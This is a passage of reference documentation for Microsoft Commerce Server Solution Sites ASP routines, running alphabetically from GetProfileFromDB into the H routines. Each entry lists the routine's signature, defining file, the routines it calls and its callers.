Sub GetProfileFromDB(
  ByRef rsProfile
)

Defined in File

include\std_profile_lib.asp

Routines Called

None.

Called By

EnsureUpToDateUserProfile

GetCurrentUserProfile

GetUserProfileByLoginName

rsGetProfile

rsGetProfileByKey


GetProfileService - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a ProfileService object.

Definition

Function GetProfileService()

Defined in File

include\std_profile_lib.asp

Routines Called

None.

Called By

None.


GetPurchaseOrderFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of form field definitions, including name, size constraint settings, and so on. A billing currency field is created if an alternate currency can be used on the site.

Definition

Function GetPurchaseOrderFieldDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

GetBillToCurrencyFieldDefinition

GetDictionary

GetSimpleList

Called By

GetFormDefinitions

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetQualifiedName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a qualified name from the group name and fieldname, resulting in a string of the form sGroupName.sFieldName.

Definition

Function GetQualifiedName(
  byVal sGroupName,
  byVal sFieldName
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

bInsertProfile

EnsureAccess

GetAddresses

GetUserInfo

htmRenderMenu

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

PrepareLoginPage

PrepareLoginSection

PrepareNewUserPage

rsGetProfilesList

SaveReadOnlyProperty

sGetWhereClauseForCurrentUser

UpdateSelectActionPropertyName

UpdateUserPasswordProperty

ValidateSubmittedLoginData


GetRecordCount - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the number of records in the specified Recordset object.

Definition

Function GetRecordCount(
  ByRef rs
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

PrepareCatalogSection

PrepareDefaultPage


GetRegExp - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns the VBScript.RegExp object.

Definition

Function GetRegExp()

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

None.


GetRegistrationFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object of field definitions for the registration form.

Definition

Function GetRegistrationFieldDefinitions()

Defined in File

include\global_forms_lib.asp

Routines Called

GetLoginFieldDefinitions

GetPasswordFieldDefinition

Called By

GetFormDefinitions

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetRepeatStyle - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an array with the number of array elements specified by the iCount parameter. Each array element is assigned the attribute string specified by the sAttList parameter. This is used to construct a table style array initialized to a common value.

Definition

Function GetRepeatStyle(
  byVal iCount,
  byVal sAttList
)

Parameters

iCount
A number indicating the size of the array to be created.
sAttList
A string to be assigned to each element of the array. The string is a list of space-separated attribute/value pairs to be associated with an HTML element.

Return Value

An array with the number of elements specified by the iCount parameter, where each element is assigned the value of the string contained in the sAttList parameter.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderFillOutForm


GetRequestString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object.

Definition

Function GetRequestString(
  byVal sName,
  byVal vtDefault
)

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

AddSetClauseAndUpdateUserAccountControl

bCheckIfProfileExists

bClickedViewButton

bClickedViewOrSearchButton

bInsertProfile

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

bSaveReadWriteProperty

CatchErrorsForPaymentPages

FetchCategoryData

FetchData (_setadrs.asp)

formRenderChangePasswordPageContents

formRenderListPageContents

formRenderOrderContents

formRenderProfileSearchOptions

GetInputParameters

GetSearchDictionaryForThisPage

GetSpecificationSearchClauses

GetSubmittedFieldValues

GetUserAccountControl

htmCancelUpdatePasswordAction

htmRenderMenu

htmRenderMessageBoxForCancel

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect

InitializeConfirmationPage

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

Main (_additem.asp)

Main (_delitem.asp)

Main (_setadrs.asp)

Main (_setship.asp)

Main (dispatch.asp)

Main (product.asp)

Main (search.asp)

Main (stepsrch.asp)

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria

PrepareCloseAction

PrepareCloseOrderDetailsAction

PrepareOrderList

PrepareSaveChangesConfirmation

PrepareSaveProfiles

rowRenderAdvancedSearchOptionsForOrders

rowRenderStatusInfo

rsGetOrderDetails

SaveAllSelectedProfiles

SaveCommonValueForAllSelectedRecords

SaveSAMAccountNameProperty

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

sGetAction

sGetIDFromForm

sGetSelectActionPropertyName

sGetSelectedIDs

sGetSubAction

ShowRefinedSearch

tableRenderChangePasswordContents

tableRenderMessageBoxPageButtons

UpdatePasswordActionHandler

UpdateSelectActionPropertyName

ValidateFields

varGetValueFromRequestObject

Remarks

For more information about security issues, see Security Issues for Solution Sites.


GetRequestStringRange - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object.

This function also ensures that the requested string is within the length range specified by the iMinLength and iMaxLength parameters.

Definition

Function GetRequestStringRange(
  byVal sName,
  byVal vtDefault,
  byVal iMinLength,
  byVal iMaxLength
)

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

None.

Remarks

For more information about security issues, see Security Issues for Solution Sites.


GetRequestType - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the type of request (POST or GET).

Definition

Function GetRequestType()

Defined in File

include\std_cookie_lib.asp

Routines Called

None.

Called By

None.


GetRootPath - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the file path to the root of the application.

Definition

Function GetRootPath()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetINIFileName

GetMessageManagerObject

InitSitePipelines


GetSavedAddressID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a shipping or billing address ID, depending on the value of the iAddrType parameter.

Definition

Function GetSavedAddressID(
  mscsOrderGrp,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetAnyLineItem

GetAnyOrderForm

Called By

SaveAddressToOrderGroup


GetSearchDictionaryForThisPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function stores and retrieves the search criteria for the current user and current page.

Definition

Function GetSearchDictionaryForThisPage(
  byVal sAction,
  ByRef sStatusField,
  ByRef iStatusID
)

Defined in File

services\include\lib.asp

Routines Called

GetRequestString

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria

sGetThisPageProperty

Called By

htmRenderProfilesList

PrepareOrderList


GetSecurePagesDictionary - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Dictionary object containing the names of the secure site pages.

Definition

Function GetSecurePagesDictionary()

Parameters

None.

Return Value

A Dictionary object containing the names of the secure site pages.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetDictionary

Called By

Main (include\global_main_lib.asp)

Remarks

This routine must be modified so that any page requiring secure access is included in the returned Dictionary object.

For more information about security issues, see Security Issues for Solution Sites.


GetShippingMethodNameFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the shipping method name corresponding to the specified shipping method ID.

Definition

Function GetShippingMethodNameFromID(
  byVal sSelectedMethodID
)

Defined in File

_setship.asp

Routines Called

None.

Called By

Main (_setship.asp)


GetShipToAddressFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object containing field definitions for the ship-to-address field. Most of the SimpleList is populated by a call to the GetAddressFieldDefinitions function. A Dictionary object containing items such as Name, Label, InputType, and so on, is also included in the SimpleList.

Definition

Function GetShipToAddressFieldDefinitions()

Defined in File

include\global_addressbook_lib.asp

Routines Called

GetAddressFieldDefinitions

GetDictionary

Called By

GetFormDefinitions

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetShownProductsDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retreives the product details for the products shown on the page.

Definition

Function GetShownProductsDetails()

Defined in File

template\discount.asp

Routines Called

GetInputParameters

GetSimpleList

IsEntityInSet

oCachedDiscountProductInfo

Called By

Main (product.asp)


GetSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object.

Definition

Function GetSimpleList()

Parameters

None.

Return Value

An empty SimpleList object.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetBillToCurrenciesListItems

GetBillToCurrenciesListValues

GetCountryCodesList

GetCountryNamesList

GetCreditCardFieldDefinitions

GetCreditCardNamesList

GetLoginFieldDefinitions

GetMonthCodesList

GetMonthNamesList

GetObjectInstanceDictionary

GetPaymentMethodsForSite

GetPaymentMethodsForUser

GetPurchaseOrderFieldDefinitions

GetShownProductsDetails

GetYearsListItems

htmRenderDiscountsApplied

htmRenderPaymentOptionsForUser

htmRenderPredictions

listGetShownProductsInfo

listGetVariantPropertiesToShow

ValidateSubmittedLoginData


GetSiteConfigObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a SiteConfig object.

Definition

Function GetSiteConfigObject()

Parameters

None.

Return Value

An initialized SiteConfig object.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

GetAppConfigObject

iGetWebServerPort

JoinWebFarm


GetSitePages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function assigns friendly names to pages in the site. Friendly names are also used by PageSets and the GetSecurePagesDictionary function.

Definition

Function GetSitePages()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

AddPartnerAndCustomerServicePages

GetDictionary

Called By

Main (include\global_main_lib.asp)


GetSiteStyles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the site styles, which are used by HTML library functions.

Definition

Function GetSiteStyles()

Defined in File

include\global_ui_lib.asp

Routines Called

AddPartnerAndCustomerServiceStyles

GetDictionary

Called By

Main (include\global_main_lib.asp)

Remarks

For more information about how styles are used in the Solution Sites, see Customizing Styles.


GetSpecificationSearchClauses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub generates search clauses.

Definition

Sub GetSpecificationSearchClauses(
  byRef sSearchHandle,
  byRef rsFields,
  byRef oCatalog,
  byRef arr1,
  byref arr2,
  byRef iConstraintFieldsCount,
  byRef iNonConstraintFieldsCount
)

Defined in File

stepsrch.asp

Routines Called

GetRequestString

Called By

PrepareSpecificationSearch


GetStatusFieldAndID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub updates the status message for the "Save" action.

Definition

Sub GetStatusFieldAndID(
  byVal sSubAction,
  byVal bValidPostedValues,
  byVal bUpdated,
  byVal bProfileExists,
  byRef sStatusField,
  byRef sStatusID
)

Defined in File

services\include\edit_handlers.asp

Routines Called

None.

Called By

None.


GetStyles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object containing the size attribute for standard text and password boxes.

Definition

Function GetStyles()

Return Value

A Dictionary object containing the size attribute for standard text and password boxes.

Defined in File

include\global_ui_lib.asp

Routines Called

GetDictionary

Called By

None.


GetSubmittedFieldValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves form post values from the request, based on the expected fields specified by the listFlds parameter, placing them in a Dictionary object where the corresponding keys are the names of the fields.

Definition

Function GetSubmittedFieldValues(
  listFlds
)

Parameters

listFlds
A SimpleList object that contains a collection of Dictionary objects. Each of the Dictionary objects contains information about a form field. This parameter is one of the form field Dictionary objects initialized within the function GetFormDefinitions.

Return Value

A Dictionary object that contains form post value strings corresponding to the fields specified by the listFlds parameter. The keys for these value strings are the field names, as specified in the listFlds parameter.

Defined in File

include\form_lib.asp

Routines Called

GetDictionary

GetRequestString

Called By

InitializeCreditcardPage

Main (addrform.asp)

Main (po.asp)

PrepareLoginPage

PrepareNewUserPage

SetupAddressForm

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


GetTableNameAndWhereClause - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub gets the database table name and uses a WHERE clause to search for a given organization ID.

Definition

Sub GetTableNameAndWhereClause(
  ByRef sTableName,
  ByRef sOrgIDWhereClause
)

Parameters

sTableName
A string containing the name of the database table storing a given profile type.
sOrgIDWhereClause
A string containing a WHERE clause to search for a given organization ID.

Defined in File

services\include\profiles_common.asp

Routines Called

sGetThisPageProperty

Called By

DeleteAllProfiles

rsGetProfilesList

SaveAllSelectedProfiles

UpdateUserAccountControlProperty


GetTicketInUrlArg - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the ticket from a URL string.

Definition

Function GetTicketInUrlArg()

Defined in File

include\std_url_lib.asp

Routines Called

GenerateURL

Called By

CacheFragment

LookupCachedFragment


GetTicketLocation - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the location of a ticket.

Definition

Function GetTicketLocation()

Parameters

None.

Return Value

An integer equal to one of the following values:

  • 0 - no ticket available (anonymous users or users authenticated to IIS)
  • 1 - the ticket is stored in the URL
  • 2 - the ticket is stored in a cookie

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

SetupPage


GetUserAccountControl - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether to update the User Account Status and User Partner Desk Role properties.

Definition

Function GetUserAccountControl(
  ByRef sSQLStmt,
  ByRef bFieldSelected
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

GetRequestString

sAddWhereClauseForActiveUsers

Called By

AddSetClauseAndUpdateUserAccountControl


GetUserAddresses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the address for a user. It calls the more generic GetAddresses function to retrieve and return the required address as a Recordset object.

Definition

Function GetUserAddresses(
  byVal sUserID
)

Defined in File

include\addr_lib.asp

Routines Called

GetAddresses

Called By

bIsAddressNameUnique

FetchData (addrbook.asp)


GetUserInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called from the include\setupenv.asp file, assigns the user ID, user type and user access type into the following global variables:

m_userID (user ID)

m_UserType (AUTH_USER, GUEST_USER, or ANON_USER)

m_UserAccessType (IIS_AUTH, TICKET_AUTH, GUEST_VISIT, or ANON_VISIT)

Definition

Sub GetUserInfo()

Defined in File

include\std_access_lib.asp

Routines Called

GetQualifiedName

GetUserProfileByLoginName

Called By

SetupPage

Remarks

For more information about users, see About the User Tracking Feature for Solution Sites.


GetUserProfileByLoginName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the profile for the given login name.

Definition

Function GetUserProfileByLoginName(
  byVal sLogonName
)

Defined in File

include\std_profile_lib.asp

Routines Called

EnsureUpToDateUserProfile

GetCurrentUserProfile

GetProfileFromDB

Called By

GetUserInfo


GetUserPropertyFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value of a property from the profile of a user.

Definition

Function GetUserPropertyFromID(
  byVal sPropertyName,
  byVal sID
)

Parameters

Defined in File

services\include\get_profiles.asp

Routines Called

GetAttributeValueFromProfile

rsGetUserDetails

Called By

bHandlePaintingACLsForUsersInAD

GetActiveUsersOnly

SaveUserPartnerDeskRoleProperty

sGetAdminsOnly

sGetUserFullName

sGetUserLoginName

sGetUsersOnly


GetXMLForVendorItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns an XML document containing the line items corresponding to the specified order form and vendor. The oVendor parameter is a list of line items to be associated with a vendor, and is generated in the Splitter component of the checkout pipeline.

Definition

Function GetXMLForVendorItems(
  byVal mscsOrderForm,
  byVal oVendor
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

InvokeBizTalk


GetYearsListItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of items. The first item contains the MessageManager object "L_SelectOne_Text" message; the next item contains the current year; the following four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).

Definition

Function GetYearsListItems()

Defined in File

include\std_dates_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardFieldDefinitions

GetYearsListValues


GetYearsListValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of items. The first item contains the integer "-1"; the next item contains the current year; the next four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).

Definition

Function GetYearsListValues()

Defined in File

include\std_dates_lib.asp

Routines Called

GetYearsListItems

Called By

GetCreditCardFieldDefinitions


H

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letter H.

Routine | File
HandleSingleQuote | services\include\profiles_common.asp
htmAddActionHandler | services\include\edit_handlers.asp
htmCachedProductList | category.asp
htmCachedShippingMethods | pickship.asp
htmCancelUpdatePasswordAction | services\include\password_handlers.asp
htmCategoryHTML | category.asp
htmChangePasswordActionHandler | services\include\edit_handlers.asp
htmCloseActionHandler | services\include\edit_handlers.asp
htmCopyActionHandler | services\include\edit_handlers.asp
htmDeleteActionHandler | services\include\edit_handlers.asp
htmEditAction | services\include\edit_handlers.asp
htmEditAllProfiles | services\include\edit_handlers.asp
htmEditPageActionHandlers | services\partner\edit_user.asp
htmInsertProfile | services\include\edit_handlers.asp
htmListPageActionHandlers | services\partner\users.asp
htmOrderDetailsActionHandler | services\include\order_handlers.asp
htmOrderListActionHandler | services\partner\orders.asp
htmRenderAddressBook | addrbook.asp
htmRenderAddressBookPage | addrbook.asp
htmRenderAddress | summary.asp
htmRenderAddressForm | newaddr.asp
htmRenderAddressRows | addrbook.asp
htmRenderBasket | basket.asp
htmRenderBasketWarnings | basket.asp
htmRenderBlankEditPage | services\include\render_edit_blank.asp
htmRenderBlankSpaces | services\include\render_common.asp
htmRenderBoolean | services\include\render_common.asp
htmRenderBuiltInProperties | product.asp
htmRenderCatalogList | include\catalog.asp
htmRenderCatalogSection | template\menu.asp
htmRenderCategoriesList | include\catalog.asp
htmRenderCategoryPage | include\catalog.asp
htmRenderChangePasswordPage | services\include\render_password.asp
htmRenderCheckoutButton | basket.asp
htmRenderConfirmationPage | confirm.asp
htmRenderCountries | services\include\render_common.asp
htmRenderCreditCardPage | crdtcard.asp
htmRenderCurrency | include\std_util_lib.asp
htmRenderCustomerServiceSection | template\menu.asp
htmRenderDefaultPage | default.asp
htmRenderDiscountMessageGroup | basket.asp
htmRenderDiscountMessages | basket.asp
htmRenderDiscountsApplied | basket.asp
htmRenderDiscountsDescriptions | summary.asp
htmRenderEditPage | services\include\render_edit_common.asp
htmRenderEmptyRecordSet | services\include\render_common.asp
htmRenderFillOutForm | include\form_lib.asp
htmRenderFullTextSearchResults | search.asp
htmRenderGrandTotals | summary.asp
htmRenderLoginPage | login\login.asp
htmRenderLoginSection | template\menu.asp
htmRenderLogoffPage | login\logoff.asp
htmRenderMenu | template\menu.asp
htmRenderMessageBoxForCancel | services\include\render_messagebox.asp
htmRenderMessageBoxForDelete | services\include\render_messagebox.asp
htmRenderMessageBoxForDeleteAll | services\include\render_messagebox.asp
htmRenderMessageBoxForSave | services\include\render_messagebox.asp
htmRenderMessageBoxForSelect | services\include\render_messagebox.asp
htmRenderMessageBoxPage | services\include\render_messagebox.asp
htmRenderNewUserPage | login\newuser.asp
htmRenderOrderDateTypes | services\include\render_common.asp
htmRenderOrderDetails | services\include\render_orders.asp
htmRenderOrderDetailsForIDs | services\include\order_handlers.asp
htmRenderOrderForm | summary.asp
htmRenderOrderList | services\include\render_orders.asp
htmRenderOrderStatusOptions | services\include\render_common.asp
htmRenderPartnerDeskRoles | services\include\render_common.asp
htmRenderPartnerServiceSection | template\menu.asp
htmRenderPaymentOptionsForUser | include\payment.asp
htmRenderPaymentOptionsPage | po.asp
htmRenderPickshipForm | pickship.asp
htmRenderPredictions | basket.asp
htmRenderProductsTable | include\catalog.asp
htmRenderProfilesList | services\include\render_list.asp
htmRenderSearchDeptPageContent | srchdept.asp
htmRenderSearchSection | template\menu.asp
htmRenderSelectEndTag | services\include\render_common.asp
htmRenderSelectTag | services\include\render_common.asp
htmRenderShippingMethods | pickship.asp
htmRenderShippingOptionsEx | pickship.asp
htmRenderSiteTerm | services\include\render_common.asp
htmRenderStepSearchPageContent | stepsrch.asp
htmRenderSummaryPage | summary.asp
htmRenderUniqueIDForProfile | services\include\render_list.asp
htmRenderUserDefinedProductProperties | product.asp
htmRenderUserStatusOptions | services\include\render_common.asp
htmRenderVariantsList | product.asp
htmRenderVerifyWithForm | summary.asp
htmSaveActionHandler | services\include\edit_handlers.asp
htmSaveAllActionHandler | services\include\edit_handlers.asp
htmSaveChangesConfirmationHandler | services\include\messagebox_handlers.asp
htmSaveProfiles | services\include\edit_handlers.asp
htmSelectActionHandlerForEdit | services\include\edit_handlers.asp
htmSelectedActionHandlerForEdit | services\include\edit_handlers.asp


HandleSingleQuote - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function replaces a single quote with a double quote for processing profiles.

Definition

Function HandleSingleQuote(
  byVal sSQLValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

sAddSQLString


htmAddActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a blank edit page for any profile, and serves as a wrapper function to the htmRenderBlankEditPage function.

Definition

Function htmAddActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderBlankEditPage

Called By

htmEditPageActionHandlers


htmCachedProductList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function attempts to find a specific HTML fragment in the cache ProductListCache. The fragment is specified by the passed catalog and category names, and a page number. The cache key is constructed by concatenating these three values together. If found, the HTML fragment is returned; otherwise, Null is returned.

Definition

Function htmCachedProductList(
  sCatalogName,
  sCategoryName,
  iPageNumber,
  byRef sCacheKey
)

Parameters

sCatalogName
A string containing the name of a catalog, used as the first component of the cache key constructed by this function.
sCategoryName
A string containing the name of a category, used as the second component of the cache key constructed by this function.
iPageNumber
An integer containing a page number, used as the third component of the cache key constructed by this function.
sCacheKey
A string used to return the constructed cache key.

Return Value

If found in the cache, a string containing the HTML representation of the products in the requested catalog, category, and page number.

Defined in File

category.asp.

Routines Called

LookupCachedFragment

Called By

Main (category.asp)


htmCachedShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the cache StaticSectionsCache for the shipping methods HTML fragment. If the fragment is found, this function returns that fragment; otherwise, Null is returned.

Definition

Function htmCachedShippingMethods()

Return Value

If the fragment is found, this function returns that fragment; otherwise, Null is returned.

Defined in File

pickship.asp

Routines Called

LookupCachedFragment

Called By

Main (pickship.asp)


htmCancelUpdatePasswordAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function cancels the update of the user_security_password property of the user.

Definition

Function htmCancelUpdatePasswordAction(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\password_handlers.asp

Routines Called

GetRequestString

Called By

PasswordActionHandlers


htmCategoryHTML - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs an HTML representation of a particular set of products as specified by several parameters. The constructed HTML fragment is also cached for future use using the specified cache key.

Definition

Function htmCategoryHTML(
  oCatalog,
  sCatalogName,
  sCategoryName,
  oCategory,
  rsProducts,
  iPageNumber,
  nOutPagesTotal,
  sCacheKey
)

Parameters

oCatalog
A reference to a ProductCatalog object, passed through to the function htmRenderCategoryPage.
sCatalogName
A string containing the name of the catalog, used as the page title when the category string is Null, and passed through to the function htmRenderCategoryPage.
sCategoryName
A string containing the name of the category, used as the page title when not Null, and passed through to the function htmRenderCategoryPage.
oCategory
A reference to a Category object, passed through to the function htmRenderCategoryPage.
rsProducts
A reference to a Recordset object containing products to be represented in HTML, passed through to the function htmRenderCategoryPage.
iPageNumber
An integer that specifies a particular page of products to be represented in HTML, passed through to the function htmRenderCategoryPage.
nOutPagesTotal
An integer that specifies the total number of pages of products represented in the rsProducts parameter Recordset object, passed through to the function htmRenderCategoryPage.
sCacheKey
A string containing a key under which the constructed HTML will be cached in the cache ProductListCache.

Return Value

A string containing the HTML representation of the products in the requested catalog, category, and page number.

Defined in File

category.asp.

Routines Called

CacheFragment

htmRenderCategoryPage

RenderText

Called By

Main (category.asp)

Remarks

This function uses the function htmRenderCategoryPage to perform the bulk of the work of creating the HTML representation of the requested product list. Many of the parameters are passed straight through to this function.

The constructed HTML string is cached for future use in the cache ProductListCache under the key specified by the sCacheKey parameter.


htmChangePasswordActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is called by EDIT-type pages for changing the user_security_password property. It is called before the execution is passed to the change_password.asp page.

Definition

Function htmChangePasswordActionHandler(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\edit_handlers.asp

Routines Called

GenerateURL

htmSaveChangesConfirmationHandler

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)


htmCloseActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Close" action handler.

Definition

Function htmCloseActionHandler(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  ByVal sActionPage,
  byVal sPreviousAction,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema,
  byVal sSourcePage,
  byVal bDirty
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderBlankEditPage

htmRenderEditPage

htmRenderMessageBoxForCancel

Called By

htmEditPageActionHandlers


htmCopyActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Copy" action handler.

Definition

Function htmCopyActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iProfileCount,
  byVal iStatusID,
  byVal sStatusField,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal sProfileListPage,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

ReDirectToPage

Called By

htmEditPageActionHandlers


htmDeleteActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Delete" action handler.

Definition

Function htmDeleteActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sProfileListPage,
  byVal iProfileCount
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

ReDirectToPage

Called By

htmEditPageActionHandlers


htmEditAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides the "Edit" action handler. It supports single-edit, multi-edit, and SelectAll+Edit scenarios. Business logic to prepare for this display is in the PrepareEditAction sub.

Definition

Function htmEditAction(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iProfileCount,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

ReDirectToPage

sGetThisPageProperty

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)


htmEditAllProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function serves as a wrapper function for the htmRenderEditPage function, and renders the edit page contents.

Definition

Function htmEditAllProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iStatusID,
  byVal sStatusField,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

None.


htmEditPageActionHandlers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function calls appropriate handlers for all the EDIT-type pages. It can be used for all the profiles.

Definition

Function htmEditPageActionHandlers(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\partner\edit_user.asp

Routines Called

DeleteAllActionHandler

DeSelectAllActionHandler

GenerateURL

htmAddActionHandler

htmChangePasswordActionHandler

htmCloseActionHandler

htmCopyActionHandler

htmDeleteActionHandler

htmEditAction

htmSaveActionHandler

PrepareAddAction

PrepareCloseAction

